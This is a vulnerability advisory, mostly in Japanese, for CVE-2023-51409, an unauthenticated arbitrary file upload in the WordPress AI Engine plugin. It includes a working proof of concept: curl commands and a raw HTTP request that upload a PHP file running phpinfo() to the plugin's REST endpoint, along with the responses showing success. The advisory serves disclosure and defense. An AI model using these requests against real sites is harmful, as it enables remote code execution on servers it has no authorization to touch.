
AI Engine: ChatGPT Chatbot <= 1.9.98 - 未認証の任意ファイルアップロード(rest_upload 経由)
AI Engine: ChatGPT Chatbot <= 1.9.98 - rest_upload を介した未認証の任意ファイルアップロード
WordPress 用プラグイン「AI Engine: Chatbots, Generators, Assistants, GPT 4 and more!」は、バージョン 1.9.98 以前のすべてのバージョンにおいて、'rest_upload' 関数におけるファイルタイプ検証の欠如により、任意のファイルアップロードに対して脆弱です。これにより、認証されていない攻撃者は影響を受けるサイトのサーバー上に任意のファイルをアップロードできるようになり、リモートコード実行が可能になる可能性があります。
Severity: critical
CVE ID: CVE-2023-51409
CVSS Score: 9.8
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Plugin Slug: ai-engine
WPScan URL: https://www.wpscan.com/plugin/ai-engine
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/a3fc4bac-9be0-4a1c-b4bb-4384d80e22f7?source=api-prod
CURL
$ cat test.txt
robbie.txt
$ curl -X POST http://wordpress.lan/wp-json/mwai-ui/v1/files/upload -H "Content-Disposition: form-data; filename=\"test.txt\"" -F "[email protected]" | jq -r
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 336 100 139 100 197 1738 2463 --:--:-- --:--:-- --:--:-- 4602
{
"success": true,
"data": {
"id": "dc05affbc88c6d731a8fc6d122cd3839",
"url": "http://wordpress.lan/wp-content/uploads/2024/02/test-1.txt"
}
}
$ curl http://wordpress.lan/wp-content/uploads/2024/02/test-1.txt
robbie.txt
リクエスト
POST /wp-json/mwai-ui/v1/files/upload HTTP/1.1
Host: wordpress.lan
User-Agent: curl/8.1.2
Accept: */*
Content-Disposition: form-data; filename="test.txt"
Content-Length: 206
Content-Type: multipart/form-data; boundary=------------------------8ecd2b831e8d20f4
Connection: close
--------------------------8ecd2b831e8d20f4
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/plain
<?php phpinfo(); ?>
--------------------------8ecd2b831e8d20f4--
レスポンス
{
"data": {
"id": "1044f1ab4f6340fea9abecb331fe981c",
"url": "http://wordpress.lan/wp-content/uploads/2024/02/test.php"
},
"success": true
}